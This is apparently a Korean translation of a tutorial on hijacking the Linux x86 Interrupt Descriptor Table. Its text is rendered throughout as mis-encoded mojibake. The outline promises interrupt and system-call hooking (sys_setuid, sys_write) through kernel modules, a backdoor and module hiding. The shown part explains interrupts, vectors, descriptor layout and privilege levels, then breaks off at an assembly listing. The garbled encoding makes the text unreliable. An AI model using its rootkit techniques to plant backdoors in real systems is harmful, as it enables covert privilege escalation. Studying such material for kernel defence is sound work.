=============================================================== Á¦¸ñ : IDT ÇÏÀÌÀçÅ· (ºÎÁ¦ : IDT ÀÇ Ã³¸®) ¿øÀúÀÚ : kad ÀÛ¼ºÀÚ : edward ÀÛ¼ºÀÏÀÚ : 2003. 07. 12 ¼öÁ¤ÀÏÀÚ : ¹®¼­¹öÁ¯ : ver 0.0.1 ¶óÀ̼¾½º : GPL ȨÆäÀÌÁö : http://osx86.org ÂüÁ¶¹®Çå : =============================================================== IDT ÇÏÀÌÀçÅ· ======================================================= * Áغñ¹° - i386ÀÌ»ó - ¸®´ª½º ¸Ó½Å - ¸®´ª½º source * test ȯ°æ - os : Windows 2000 Server - processor : Pentium 4 1.6Ghz - ram : 256mb * ÇÊ¿ä Áö½Ä - ¸®´ª½º ½Ã½ºÅÛ »ç¿ë¹ý - ¾î¼Àºí¸® ¾ð¾î¿Í º¸È£¸ðµå Ư±Ç·¹º§ - ¸®´ª½º ½Ã½ºÅÛ ÄÝ email : osx86@osx86.org ======================================================= ///////////////////////////////////////////////////////////////// I. ¸ñÂ÷ 1 - ¼Ò°³ 2 - ¼³¸í 2.1 - ÀÎÅÍ·´Æ®¶õ ? 2.2 - ÀÎÅÍ·´Æ®¿Í ¿¹¿Ü 2.3 - ÀÎÅÍ·´Æ® º¤ÅÍ 2.4 - IDT ¶õ ¹«¾ùÀΰ¡ ? 3 - ¿¹¿Ü 3.1 - ¿¹¿Ü ¸ñ·Ï 3.2 - ¿¹¿Ü°¡ ¹ß»ýÇÒ¶§ ¹«½¼ÀÏÀÌ ÀϾ´Â°¡ ? 3.3 - ÀÎÅÍ·´Æ® ÈÄÅ·(by mammon) 3.4 - ÀϹÝÀûÀÎ ÀÎÅÍ·´Æ® ÈÄÅ· 3.5 - ÈÄÅ·À¸·ÎºÎÅÍ ¾òÀ» ¼ö ÀÖ´Â À̵æ : ¿ì¸®ÀÇ Ã¹¹øÂ° ¹éµµ¾î 3.6 - ÈÄÅ·À¸·ÎºÎÅÍ ¾ò´Â Àç¹Ì 4 - Çϵå¿þ¾î ÀÎÅÍ·´Æ® 4.1 - Çϵå¿þ¾î ÀÎÅÍ·´Æ®´Â ¾î¶»°Ô ÇØ¾ß ÇÏÁÒ ? 4.2 - bottom half ÃʱâÈ­ ¹× Ȱ¼ºÈ­ 4.3 - Űº¸µå ÀÎÅÍ·´Æ®ÀÇ ÈÄÅ· 5 - ½Ã½ºÅÛ ÄÝÀ» À§ÇØ ÇÁ·Î±×·¥µÈ ¿¹¿Ü 5.1 - syscalls(½Ã½ºÅÛÄÝ) ¸ñ·Ï 5.2 - ½Ã½ºÅÛ ÄÝÀÌ ¾î¶»°Ô µ¿ÀÛÇϴ°¡ ? 5.3 - ÈÄÅ·À¸·ÎºÎÅÍ ¾òÀ» ¼ö ÀÖ´Â À̵æ 5.3.1 - sys_setuid ÀÇ ÈÄÅ· 5.3.2 - sys_write ÀÇ ÈÄÅ· 5.4 - ÈÄÅ·À¸·ÎºÎÅÍ ¾ò´Â Àç¹Ì 6 - CheckIDT 7 - ÂüÁ¶¹®Çå & Àλ縻 8 - ºÎ°¡ÀûÀÎ ³»¿ë ///////////////////////////////////////////////////////////////// (% edward : °£¸¸¿¡ ¸ñÂ÷°¡ ÀÖ´Â ¹®¼­¸¦ ÀÛ¾÷ÇÏ°Ô µÇ¾ú±º¿ä.) 1. ¼Ò°³ ÀÎÅÚ CPU ´Â ¸®¾ó¸ðµå¿Í º¸È£¸ðµå¶ó´Â µÎ°¡Áö ¸ðµå·Î µ¿ÀÛÇÒ ¼ö ÀÖ½À´Ï´Ù. (% edward : ´Ùµé ¾Æ½ÃÁÒ ) ¸®¾ó¸ðµå´Â »ç¿ëÀÚ ÇÁ·Î±×·¥ÀÌ Ä¿³Î ·¹Áö½ºÅ͸¦ º¯°æÇÏ°Ô µÇ´Â°ÍÀ» ¸·À» ¼ö ¾ø½À´Ï´Ù. ¸ðµç Çö´ëÀÇ ¿î¿µÃ¼Á¦´Â »ç¿ëÀÚ ÇÁ·Î¼¼½º¿¡ ÀÇÇØ º¯°æµÇ¾î¼­´Â ¾ÈµÇ´Â ·¹Áö½ºÅ͸¦ ¿¢¼¼½ºÇϱâ À§Çؼ­´Â ¾ÆÁÖ ¾ö°ÝÇÑ ¾×¼¼½º ±ÔÄ¢À» °®´Â º¸È£¸ðµå¸¦ »ç¿ëÇÏ¿© Á¦À۵ǾîÁö°í ÀÖ½À´Ï´Ù. º¸È£¸ðµå´Â 4°¡Áö ´Ù¸¥ Ư±Ç ·¹º§À» °®½À´Ï´Ù. ´Ùµé Àß ¾Ë°í ÀÖ´Ù½ÃÇÇ 0¿¡¼­ 3±îÁöÀÇ Æ¯±ÇÀ» °®°Ô µÇÁÒ. »ç¿ëÀÚ¿¡ ÀÇÇØ ±¸µ¿µÇ´Â ÀÀ¿ëÇÁ·Î±×·¥Àº º¸Åë Æ¯±Ç·¹º§ 3À» °®°Ô µË´Ï´Ù. ¹Ý¸é¿¡ Ä¿³ÎÀº °¡Àå Æ¯±ÇÀÌ ³ôÀº Ư±Ç·¹º§ 0À» °®°í µ¿ÀÛÇÏ°Ô µË´Ï´Ù. ÀÌ·¯ÇÑ Æ¯±Ç ·¹º§ 0 Àº Ä¿³Î¿¡°Ô CPU ÀÇ Çϵå¿þ¾îÀûÀÎ ºÎºÐ°ú ¸Þ¸ð¸® ºÎºÐÀ» Æ÷ÇÔÇÑ ¸ðµç ·¹Áö½ºÅ͸¦ ¿ÏÀüÇÏ°Ô ¿¢¼¼½º ÇÒ¼ö ÀÖ°Ô ÇØÁÝ´Ï´Ù. IDT ¸¦ ÇØÅ·Çϱâ À§Çؼ­´Â ÀÌ·¯ÇÑ º¸È£¸ðµå¿¡ ´ëÇÑ ±Ã±ÝÁõÀÌ ¾ø¾î¾ß ÇÒ²®´Ï´Ù. (% edward : º¸È£¸ðµå¿¡ ´ëÇØ¼­´Â IASDM 3 ¸¦ ÂüÁ¶ÇØÁÖ¼¼¿ä... ^^;) ÀÌ ±ÛÀº x86 ±â¹ÝÀÇ ¸®´ª½º ½Ã½ºÅÛ¿¡¼­ ÀÎÅÍ·´Æ® µð½ºÅ©¸³ÅÍ Å×À̺í(Interrupt Descriptor Table : IDT)¸¦ ¼öÁ¤ ȤÀº º¯°æÇÏ´Â Å×Å©´Ð¿¡ ´ëÇØ¼­ Å×½ºÆ® ÇÏ°Ô µÉ°Ì´Ï´Ù. ±×¸®°í À§ÀÇ Å×Å©´ÐÀ» ·Îµå°¡´ÉÇÑ Ä¿³Î ¸ðµâ(LKM)À» »ç¿ëÇÏ¿© ½Ã½ºÅÛ ÄÝÀ» ¸®´ÙÀÌ·ºÆ® ÇÏ´Â Áö¿¡ ´ëÇÑ Å×Å©´Ð¿¡ ´ëÇØ¼­µµ ¼³¸íÇÏ°Ô µÈ´ä´Ï´Ù. ÀÌ ±Û¿¡¼­ Á¦°øÇÏ´Â ¿¹Á¦µéÀº ½ÇÇà°¡´ÉÇÑ Äڵ带 Ä¿³Î °ø°£(Kernel Space)À¸·Î ·ÎµåÇØ¾ß ÇÏ´Â ´Ü¼øÇÑ ÀÌÀ¯·Î LKMÀ» »ç¿ëÇÏ¿© Á¦ÀÛµÉ °ÍÀÔ´Ï´Ù. ÀÌ ¹®¼­ÀÇ ¹üÀ§¸¦ ³Ñ¾î¼­´Â ´Ù¸¥ Å×Å©´ÐÀ¸·Î´Â ½ÇÇà°¡´ÉÇÑ Äڵ带 Ä¿³Î °ø°£À¸·Î ·ÎµåÇϰųª Ä¿³Î ¸ðµâÀ» ¼û±â´Â °Í(Spacewalker's Method ¿¹Á¦) ÀÌ »ç¿ëµË´Ï´Ù. IDT¿¡ ´ëÇÑ ½ÇÇèÀ» Çϰí 5ºÐ¸¶´Ù Ä¿³Î ÆÐ´ÐÀÌ ÀϾ´Â°ÍÀ» ¼û±â´Âµ¥ À¯¿ëÇÑ ÅøÀÎ CheckIDT´Â ÀÌ ¹®¼­ÀÇ ³¡ºÎºÐ¿¡¼­ Á¦°øµË´Ï´Ù. (% edward : ³¡±îÁö °¡º¸µµ·Ï ÇÏÁÒ ... Here We go ! ) 2 - ¼³¸í 2.1 - ÀÎÅÍ·´Æ®¶õ ? "ÀÎÅÍ·´Æ®´Â ÇÁ·Î¼¼¼­¿¡ ÀÇÇØ ÀνºÆ®·°¼ÇÀÇ ¼ø¼­´ë·Î ¼öÇàµÇ´Â º¯È­ Áï À̺¥Æ®¶ó°í Á¤ÀǵȴÙ. ¾î¶² À̺¥Æ®µéÀº CPU ĨÀÇ ³»ºÎ¿Í ¿ÜºÎÀÇ Çϵå¿þ¾î ȸ·Î¿¡ ÀÇÇØ ¹ß»ýµÇ´Â Àü±âÀûÀÎ ½Ã±×³Î°ú ÀÏÄ¡ÇÑ´Ù." ( "Understanding the Linux Kernel ¿¡¼­.." - O'Reilly ÃâÆÇ»ç ) 2.2 - ÀÎÅÍ·´Æ®¿Í ¿¹¿Ü(Interrupts and Exceptions) ÀÎÅÚ ·¹ÆÛ·±½º ¸Å´º¾ó¿¡ µû¸£¸é ÀνºÆ®·°¼ÇÀÇ ½ÇÇàÀÌ ¿Ï·áµÈ ÈÄ CPU ÀÇ ÄÁÆ®·Ñ À¯´Ö(CU) ¿¡ ÀÇÇØ¼­ »ý¼ºµÇ´Â "µ¿±âÈ­ ÀÎÅÍ·´Æ®"¸¦ "¿¹¿Ü"¶ó Çϸç, ºñµ¿±âÈ­ ÀÎÅÍ·´Æ®(ÀÓÀÇÀÇ ½Ã°£¿¡ ´Ù¸¥ Çϵå¿þ¾î ÀåÄ¡¿¡ ÀÇÇØ »ý¼ºµÊ)¸¦ "ÀÎÅÍ·´Æ®"¶ó ÇÑ´Ù. ÀÎÅÍ·´Æ®´Â ¿ÜºÎ I/O ÀåÄ¡¿¡ ÀÇÇØ ¹ß»ýÇÔ¿¡ ¹ÝÇØ ¿¹¿Ü´Â ÇÁ·Î±×·¡¹Ö ¿À·ù³ª Ä¿³Î¿¡ ÀÇÇØ ¹Ýµå½Ã 󸮵Ǿî¾ß ÇÏ´Â ¿¹¿Ü »óȲ¿¡ ÀÇÇØ ¹ß»ýµÈ´Ù. ÀÌ ±Û¿¡¼­ "ÀÎÅÍ·´Æ® ½Ã±×³Î" À̶õ ¿ë¾î´Â Àº ¿¹¿Ü¿Í ÀÎÅÍ·´Æ®¸¦ ¼³¸íÇϸ鼭 µÉ°Ì´Ï´Ù. ÀÎÅÍ·´Æ®´Â µÎ °¡Áö·Î ³ª´©¾îÁú¼ö ÀÖ½À´Ï´Ù. ¿ì¼± ªÀº Áֱ⸦ °®´Â ½Ã°£µ¿¾È ¹«½ÃµÇ¾î Áú¼öÀÖ´Â (ȤÀº masked »óŸ¦ °®´Â) mask °¡´ÉÇÑ (maskable) ÀÎÅÍ·´Æ®¿Í ¹Ýµå½Ã Áï½Ã ó¸®Çؾ߸¸ ÇÏ´Â mask ÇÒ ¼ö ¾ø´Â(non-maskable) ÀÎÅÍ·´Æ®°¡ ÀÖ´ä´Ï´Ù. (% edward : Àç¹ÌÀÖÁÒ ... ^^; µÎ °¡Áö ÀÎÅÍ·´Æ® ÇüŸ¦ ²À ±â¾ïÇØµÎ¼¼¿ä. mask ´Â º¸Åë °¡¸éÀ̳ª À§ÀåÇÏ´Ù ¶ó´Â ÀÇ¹Ì·Î ÇØ¼®µÇÁÒ. Çåµ¥ ¿©±â¼­´Â ¾î¶² mask ¶ó´Â ³ðÀ» ÀÌ¿ëÇØ¼­ ÆÐÅÏÀ» Á¦¾îÇÏ°Ô µÈ´ä´Ï´Ù. ÀÎÅÍ·´Æ®¸¦ ¹Ù·Î ó¸®ÇÒ °ÍÀΰ¡ ¾Æ´Ñ°¡ ÇÏ´Â ...) Unmaskable ÀÎÅÍ·´Æ®´Â Çϵå¿þ¾î ¿À·ù(failure)¿Í °°Àº Ä¡¸íÀûÀÎ À̺¥Æ®¿¡ ÀÇÇØ ¼º¼ºµË´Ï´Ù. º»¹®¿¡¼­´Â Unmaskable ÀÎÅÍ·´Æ®¿¡ ´ëÇÑ Ã³¸®¸¦ ÇÏÁö ¾ÊÀ»°ÍÀÔ´Ï´Ù. ¿ì¸®°¡ Àß ¾Ë°í ÀÖ´Â IRQ(Interrupt ReQuest)µéÀº maskable ÀÎÅÍ·´Æ®ÀÇ ¹üÁÖ¿¡ ¼ÓÇÏ°Ô µÈ´ä´Ï´Ù. (% edward : À½ ... ¿©±â¼­ ¾µµ¥¾ø´Â ¸» ÇѸ¶µð ¶°µé°í °¥²²¿ä. ¸¹Àº ºÐµéÀÌ °í Ŭ·°ÀÇ CPU³ª ¸Þ¸ð¸® ±×¸®°í ºü¸¥ ÇÏµå µð½ºÅ©¸¸ ´Þ¾ÆµÎ¸é ºü¸£°Ô µ¿ÀÛÇϸ®¶ó Âø°¢ÇϽô ºÐµéÀÌ ¸¹Àºµ¥ ... IRQ ÀÇ ¿ì¼±¼øÀ§¸¦ Á¤È®È÷ ÀÌÇØÇÏ°í ±× ¿ì¼±¼øÀ§¸¦ µû¶óÁÖÁö ¾Ê°í ¿î¿µÃ¼Á¦¸¦ ÀνºÅçÇÏ°Ô µÇ¸é ºñ½Ñµ· ÁÖ°í Àú »ç¾çÀÇ PC ¸¸µµ ¸øÇÑ ÆÛÆ÷¸Õ½º¸¦ ³»°Ô µË´Ï´Ù. 8259 PIC ¿¡ ´ëÇØ¼­ ÀÌÇØÇϽŠµÚ BIOS ¼³Á¤°ú OS ¼³Á¤À» ¸ÂÃç ÁÖ¼Å¾ß ºñ·Î¼Ò ÃÖÀûÀÇ ¼º´ÉÀ» ³¾ ¼ö°¡ ÀÖ°ÔµÇÁÒ. ½ÉÁö¾î ÀÚ±â SYSTEM ÀÌ °¡Àå °í »ç¾çÀ̶ó°í ÀÚ¶ûÀ» ÇϽô ºÐµéÀÌ ¸¹Àºµ¥ °¡¼­ Àá½Ã¸¸ º¸¸é ½Ã½ºÅÛ ¼³Á¤Àº ¾û¸ÁÀÎ °æ¿ì°¡ ´ëºÎºÐÀÌ´õ±º¿ä... Á¦ DURON 750MHZ ¿¡ 512MB SDRAM ÀÌ Å¾ÀçµÈ ½Ã½ºÅÛ º¸´Ù ¸øÇÑ Pentium 4 1.8 Ghz ¿¡ 512MB RDRAM À» ÀåÂøÇÑ ½Ã½ºÅÛµµ º¸ÀÌ´õ±º¿ä. ^^; ¹¹ ¿©Æ° ÀÎÅÍ·´Æ®¶õ ±×¸¸Å­ ¿µÇâÀ» ¹ÌÄ¥¼ö°¡ Àִٴ°ÅÁÒ. ) ¿¹¿Ü´Â ¶ÇÇÑ µÎ °¡ÁöÀÇ ¹üÁÖ·Î ³ª´µ¾î Áú¼ö°¡ ÀÖ´ä´Ï´Ù. ¿ì¼± ÇÁ·Î¼¼¼­¿¡ ÀÇÇØ ¹ß»ýÇÏ´Â ¿¹¿Ü°¡ ÀÖ½À´Ï´Ù. (¿¹¸¦µé¸é ½Ã½ºÅÛ Àå¾Ö, Æ®·¦, Áß´Ü[Faults, Traps, Aborts] ¿¹¿Ü) ´Ù¸¥ Çϳª·Î´Â ¾î¼Àºí·¯ ÀνºÆ®·°¼Ç int ¿Í int3 ¿¡ ÀÇÇØ Æ®¸®°ÅµÇ¾îÁú ¼ö ÀÖ´Â ÇÁ·Î±×·¥¿¡ ÀÇÇÑ ¿¹¿Ü°¡ ÀÖ½À´Ï´Ù. ÈÄÀÚ¸¦ ¼ÒÇÁÆ®¿þ¾î ÀÎÅÍ·´Æ®¶ó°í ºÎ¸£°ï ÇÏÁÒ. 2.3 - ÀÎÅÍ·´Æ® º¤ÅÍ(Interrupt Vector) °¢°¢ÀÇ ÀÎÅÍ·´Æ®¿Í ¿¹¿Ü´Â 0¿¡¼­ 255 »çÀÌÀÇ ¹øÈ£·Î ±¸ºÐµÇ¾îÁý´Ï´Ù. ÀÎÅÚ¿¡¼­´Â ÀÌ ¹øÈ£¸¦ º¤ÅͶó°í ºÎ¸£ÁÒ. ¹øÈ£µéÀº ¾Æ·¡¿Í °°ÀÌ ±¸ºÐÁö¾î Áý´Ï´Ù. ======================================= - 0 ~ 31 : ¿¹¿Ü¿Í non-maskable ÀÎÅÍ·´Æ® - 32 ~ 47 : maskable ÀÎÅÍ·´Æ® - 48 ~ 255 : ¼ÒÇÁÆ®¿þ¾î ÀÎÅÍ·´Æ® ======================================= ¸®´ª½º´Â Ä¿³Î ÇÔ¼ö¸¦ È£ÃâÇϱâ À§ÇØ syscall ÀÎÅÍÆäÀ̽º°¡ »ç¿ëµÇ´Âµ¥ ÀÌ·¯ÇÑ ÀÌÀ¯·Î syscall ÀÎÅÍÆäÀ̽º¸¦ À§ÇÑ ¼ÒÇÁÆ®¿þ¾î ÀÎÅÍ·´Æ® ¹øÈ£ÀÎ 0x80 Çϳª¸¸À» ¼ÒÇÁÆ®¿þ¾î ÀÎÅÍ·´Æ® ¹øÈ£·Î »ç¿ëÇÕ´Ï´Ù. Çϵå¿þ¾î IRQ´Â IRQ0¿¡¼­ IRQ15±îÁö Àִµ¥, ÀÌ´Â ÀÎÅÍ·´Æ® º¤ÅÍ 32¹ø¿¡¼­ 47¹øÀ¸·Î ÇÒ´çµÇ°Ô µË´Ï´Ù. (% edward : Àç¹Ì³­ »ç½ÇÀÌÁÒ ... ½Ã½ºÅÛ ÄÝÀ» ÅëÇØ Ä¿³Î ÇÔ¼ö¸¦ È£ÃâÇϱ⠶§¹®¿¡ ¸¹Àº ¼ÒÇÁÆ®¿þ¾î ÀÎÅÍ·´Æ® º¤ÅÍ ¹øÈ£ Áß¿¡¼­ 0x80(128) ¹ø Çϳª¸¸À» »ç¿ëÇÑ´Ù´Ï ... ^^) 2.4 - IDT ¶õ ¹«¾ùÀΰ¡ ? IDT ´Â ÀÎÅÍ·´Æ® µð½ºÅ©¸³ÅÍ Å×À̺í(Interrupt Descriptor Table)ÀÇ À̴ϼÈ(°¢ ´Ü¾îÀÇ Á¦ÀÏ Ã¹ ¾ËÆÄºª)¸¸À» µý °ÍÀÔ´Ï´Ù. (% edward : ÀÌ´Ï¼È -_- Initial D ~~ -_-)v ) IDT´Â °¢°¢ÀÇ ÀÎÅÍ·´Æ® º¤Å͸¦ »ç¿ëÇÏ¿© ÀÎÅÍ·´Æ® Çڵ鷯¿Í ¿¬°áµÇ´Â 256 °³ÀÇ ¿¬¼ÓµÈ Å×ÀÌºí ¿£Æ®¸®ÀÔ´Ï´Ù. °¢°¢ÀÇ IDT ¿£Æ®¸®´Â 8 ¹ÙÀÌÆ®¸¦ °®´Â µð½ºÅ©¸³ÅÍÀÔ´Ï´Ù. µû¶ó¼­ IDT ¿£Æ®¸®ÀÇ Àüü Å©±â´Â 256 * 8 = 2048 bytes °¡ µÈ´ä´Ï´Ù. IDT ´Â 3 °¡Áö ÇüÅ·Π±¸ºÐµÇ¾îÁö´Â µð½ºÅ©¸³ÅÍ(¿£Æ®¸®)¸¦ °®½À´Ï´Ù. - ŽºÅ© °ÔÀÌÆ® µð½ºÅ©¸³ÅÍ(Task Gate Descriptor) ¸®´ª½º´Â ´ÙÇàÈ÷ ÀÌ·¯ÇÑ ÇüÅÂÀÇ µð½ºÅ©¸³Å͸¦ »ç¿ëÇÏÁö ¾Ê½À´Ï´Ù. - ÀÎÅÍ·´Æ® °ÔÀÌÆ® µð½ºÅ©¸³ÅÍ(Interrupt Gate Descriptor) ============================================================== 63 48|47 40|39 32 +------------------------------------------------------------ | | |D|D| | | | | | | | | | HANDLER OFFSET (16-31) |P|P|P|0|1|1|1|0|0|0|0| RESERVED | | |L|L| | | | | | | | | ============================================================= | | SEGMENT SELECTOR | HANDLER OFFSET (0-15) | | | ------------------------------------------------------------+ 31 16|15 0 - 0 ~ 15 ºñÆ® : Çڵ鷯 low ¿ÀÇÁ¼Â(offset) - 16 ~ 31 ºñÆ® : ¼¼±×¸ÕÆ® ¼¿·ºÅÍ(selector) - 32 ~ 37 ºñÆ® : reserved - 37 ~ 39 ºñÆ® : 0 - 40 ~ 47 ºñÆ® : Ç÷¡±×/ŸÀÔ - 48 ~ 63 ºñÆ® : Çڵ鷯 high ¿ÀÇÁ¼Â(offset) ============================================================== - Æ®·¦ °ÔÀÌÆ® µð½ºÅ©¸³ÅÍ(Trap Gate Descriptor) ÀÎÅÍ·´Æ® °ÔÀÌÆ® µð½ºÅ©¸³ÅÍ¿Í ´Ù¸¥ ºÎºÐÀº °°Áö¸¸, Ç÷¡±× ºÎºÐÀÌ ´Ù¸§ ÀÎÅÍ·´Æ® °ÔÀÌÆ® µð½ºÅ©¸³ÅÍ¿Í Æ®·¦ °ÔÀÌÆ® µð½ºÅ©¸³ÅÍÀÇ Ç÷¡±× ºÎºÐÀº ´ÙÀ½°ú °°ÀÌ ±¸¼ºµÊ : ============================================================= - ŸÀÔÀ» À§ÇÑ 5°³ÀÇ ºñÆ®(40~44) ÀÎÅÍ·´Æ® °ÔÀÌÆ® : 1 1 1 1 0 Æ®·¦ °ÔÀÌÆ® : 0 1 1 1 0 - DPL À» À§ÇÑ 2°³ÀÇ ºñÆ®(45~46) DPL = µð½ºÅ©¸³ÅÍ Æ¯±Ç ·¹º§(descriptor privilege level) - ¸¶Áö¸· 1ºñÆ®(47) : reserved ============================================================= low ¿ÀÇÁ¼Â°ú high ¿ÀÇÁ¼ÂÀº ÀÎÅÍ·´Æ® 󸮸¦ ÇÒ ÇÔ¼öÀÇ ÁÖ¼Ò¸¦ °®°Ô µË´Ï´Ù. ÀÎÅÍ·´Æ®°¡ ¹ß»ýÇÏ°Ô µÇ¸é ÀÌ ÁÖ¼Ò·Î Á¡ÇÁÇÏ°Ô µÇÁÒ. ÀÌ ±ÛÀÇ ¸ñÀûÀº ÀÌ ÁÖ¼ÒµéÁß Çϳª¸¦ ´Ù¸¥ ÁÖ¼Ò·Î º¯°æÇϰí, ¿ì¸®°¡ ¿øÇÏ´Â ÀÎÅÍ·´Æ® Çڵ鷯¸¦ ¼öÇàÇÏ°Ô ¸¸µå´Â °ÍÀÌÁÒ. DPL Àº µð½ºÅ©¸³ÅÍ Æ¯±Ç ·¹º§(Descriptor Privilege Level)ÀÇ À̴ϼÈÀÔ´Ï´Ù. DPL Àº 0 ¶Ç´Â 3À̶õ °ª°ú ÀÏÄ¡ÇÏ°Ô µË´Ï´Ù. DPL ÀÌ 0 À̶õ °ªÀ» °¡Áö¸é ÃÖ°íÀÇ Æ¯±Ç ·¹º§ÀÌ µÇ¸ç À̸¦ ¿ì¸®°¡ ÈçÈ÷ ¸»ÇÏ´Â Ä¿³Î ¸ðµå¶ó°í ÇÏÁÒ. ÇöÀç ½ÇÇà ·¹º§Àº CPL(Current Privilege Level) ·¹Áö½ºÅÍ¿¡ ÀúÀåµÇ¸ç, UC(Unit of Control) ´Â CPL ·¹Áö½ºÅÍÀÇ °ª°ú IDT ÀÇ ÀÎÅÍ·´Æ® µð½ºÅ©¸³ÅÍÀÇ DPL ÇÊµå °ªÀ» ºñ±³ÇÏ°Ô µË´Ï´Ù. ¸¸¾à DPL ÇʵåÀÇ °ªÀÌ CPL ·¹Áö½ºÅÍÀÇ °ª¿¡ ºñÇØ Å©°Å³ª(³·Àº Ư±Ç·¹º§) °°À¸¸é(µ¿ÀÏÇÑ Æ¯±Ç·¹º§) ÀÎÅÍ·´Æ® Çڵ鷯°¡ ¼öÇàµË´Ï´Ù. À¯Àú¸ðµå¿¡¼­ ¼öÇàµÇ´Â ÀÀ¿ë ÇÁ·Î±×·¥Àº CPL °ªÀ¸·Î 3À» °®°í µ¿ÀÛÇÏ°Ô µË´Ï´Ù. µû¶ó¼­ ¾î¶°ÇÑ ÀÎÅÍ·´Æ® Çڵ鷯´Â À¯Àú¸ðµå¿¡¼­ ¼öÇàµÇ´Â ÀÀ¿ëÇÁ·Î±×·¥¿¡ ÀÇÇØ È£ÃâµÉ ¼ö ¾ø´Â°Íµµ ÀÖ½À´Ï´Ù. (% edward : ÈçÈ÷ 3ÀÌ ¼ýÀÚ°¡ ³ôÀ¸´Ï Ư±Ç·¹º§ÀÌ ³ô´Ù°í °¡²û Âø°¢ÇÒ ¼öµµ ÀÖ½À´Ï´Ù. ÇÏÁö¸¸ 0 ¿¡ °¡±î¿ï¼ö·Ï Ư±Ç·¹º§ÀÌ ³ôÀ½À» ÀǹÌÇÕ´Ï´Ù. ÀØÁö¸¶¼¼¿ä. ^^; Àúµµ ÀÚÁÖ Àؾî¹ö¸³´Ï´Ù... ±×·¡¼­ Ä¿³ÎÀº ÇÙ½É È¤Àº ½ÉÀåÀ¸·Î »ý°¢Çϰí Á߽ɺο¡ ÀÖ´Ù°í »ý°¢ÇÏ¿© ±â¾ïÇϰï ÇÏÁÒ. ¿øÀ» Çϳª ±×·Áº¸¼¼¿ä... ±×¸®°í ±× ¿ø À§¿¡ ¶Ç ¿øÀ» ±×·¸°Ô 4°³¸¦ ±×·Áº¸¼¼¿ä... °¡Àå °¡¿îµ¥ ¿ø¿¡ 0 À̶õ ¼ýÀÚ¸¦ ¾²°í, ±× ¿ÜºÎÀÇ ¿ø¿¡´Â 1À», ±× ¿ÜºÎÀÇ ¿ø¿¡´Â 2¸¦, ±×¸®°í ±× ¿ÜºÎÀÇ ¿ø¿¡´Â 3À» ^^; ±×·¸°Ô ±â¾ïÇÏ½Ã¸é µÉµíÇϳ׿ä. Ç¥·Î ¸¸µé¾î º»´Ù¸é ... ======================================= 0 : °¡Àå ³ôÀº Ư±Ç ·¹º§(Ä¿³Î ¸ðµå) 1 : 0º¸´Ù´Â ³·Àº Ư±Ç ·¹º§ 2 : 1º¸´Ù´Â ³·Àº Ư±Ç ·¹º§ 3 : 2º¸´Ù´Â ³·Àº Ư±Ç ·¹º§(À¯Àú ¸ðµå) ======================================= Á¦°¡ ¾Ë±â·Î´Â ¸®´ª½º´Â Ư±Ç ·¹º§ 4°¡Áö¸¦ ´Ù »ç¿ëÇÏÁö ¾Ê°í, µÎ °¡Áö Ư±Ç·¹º§ 0°ú 3¸¸À» »ç¿ëÇÏ´Â °ÍÀ¸·Î ¾Ë°í ÀÖ½À´Ï´Ù ^^)a ¿ø ÀúÀÚ°¡ À§¿¡¼­ ¼³¸íÇÑ "µû¶ó¼­ ¾î¶°ÇÑ ÀÎÅÍ·´Æ® Çڵ鷯´Â À¯Àú¸ðµå¿¡¼­ ¼öÇàµÇ´Â ÀÀ¿ëÇÁ·Î±×·¥¿¡ ÀÇÇØ È£ÃâµÉ ¼ö ¾ø´Â°Íµµ ÀÖ½À´Ï´Ù." ¶ó´Â ³»¿ëÀº ´ç¿¬ÇÏÁÒ ... ¿Ö ±×·±Áö ¾Æ·¡ÀÇ Ç¥¸¦ º¼±î¿ä ^^; ======================================================== [Ư±Ç·¹º§ÀÇ ºñ±³½Ã] * DPL <= CPL -> ÀÎÅÍ·´Æ® Çڵ鷯 ¼öÇàµÊ (DPL ÀÇ Æ¯±Ç·¹º§ÀÌ CPL º¸´Ù ³·°Å³ª °°¾Æ¾ßÇÔ) * À¯Àú ¸ðµå ÀÀ¿ëÇÁ·Î±×·¥ÀÇ CPL Àº 3 * µû¶ó¼­ À¯Àú ¸ðµå ÀÀ¿ë ÇÁ·Î±×·¥ÀÌ ÀÎÅÍ·´Æ® Çڵ鷯¸¦ ¼öÇàÇÏ·Á¸é DPL Àº Ç×»ó 3 À̾î¾ß ÇÑ´Ù. ¿Ö³Ä±¸¿ä ? DPL <= CPL À̶õ Á¶°Ç ¶§¹®ÀÌÁÒ. * DPL Çʵå¿Í CPL ·¹Áö½ºÅÍÀÇ °ªÀ¸·Î µûÁø´Ù¸é ¼ö½ÄÀº DPL >= CPL ÀÌ µÇ°ÚÁÒ. ±×·³ DPL >= 3 ¿©¾ß Çϴµ¥, Ư±Ç ·¹º§Àº ¾Æ½±°Ôµµ 0~3 ±îÁö ¹Û¿¡ ¾ø³×¿ä ... µû¶ó¼­ DPL ÀÌ Ç×»ó 3À̾î¾ß À¯Àú ¸ðµå¿¡¼­ ¼öÇàµÇ´Â ÀÀ¿ë ÇÁ·Î±×·¥ÀÌ ÀÎÅÍ·´Æ® Çڵ鷯¸¦ ¼öÇàÇÒ ¼ö ÀÖ°ÚÁÒ. ======================================================== ÀÌ»ó ¿¡µå¿öµåÀÇ ÇãÁ¢ÇÑ ¼³¸íÀ̶ó´Â -_-;;; °è¼ÓÇØ¼­ ÀúÀÚÀÇ ±ÛÀ» º¸½ÃÁÒ.) IDT ´Â ¹ÙÀÌ¿À½º ·çƾ¿¡ ÀÇÇØ ¿ì¼± ÃʱâÈ­µÇÁö¸¸ ¸®´ª½º°¡ IDT ¸¦ Á¦¾îÇϱâ À§ÇØ Çѹø ´õ ÃʱâÈ­ ÇÏ°Ô µË´Ï´Ù. ¾î¼Àºí¸® ÇÔ¼ö lidt´Â idt ÀÇ Å©±â¿Í ÁÖ¼Ò¸¦ ´ãÀ» idtr ·¹Áö½ºÅ͸¦ ÃʱâÈ­ÇÕ´Ï´Ù. ±×¸®°í ³ª¼­ setup_idt ÇÔ¼ö´Â 256 °³ÀÇ idt ¿£Æ®¸®¸¦ interrupt gate¿Í ignore_int¸¦ °¡¸®Å°°Ô ¸¸µì´Ï´Ù. (% edward : ÇѸ¶µð·Î ÀÎÅÍ·´Æ® °ÔÀÌÆ®¿Í ¹«½ÃÇÒ ÀÎÅÍ·´Æ®¸¦ ±¸ºÐ½ÃŰ´Â °Å°ÚÁÒ. setup_idt ÇÔ¼ö´Â [Ä¿³Î¼Ò½º·çÆ®/arch/i386/kernel/head.S] ¿¡ ÀÖ½À´Ï´Ù. ¾Æ ±×¸®°í ¾à°£ Ãß°¡Çؼ­ ¼³¸íÇÏÀÚ¸é ... ====================================================================== setup_idt: lea 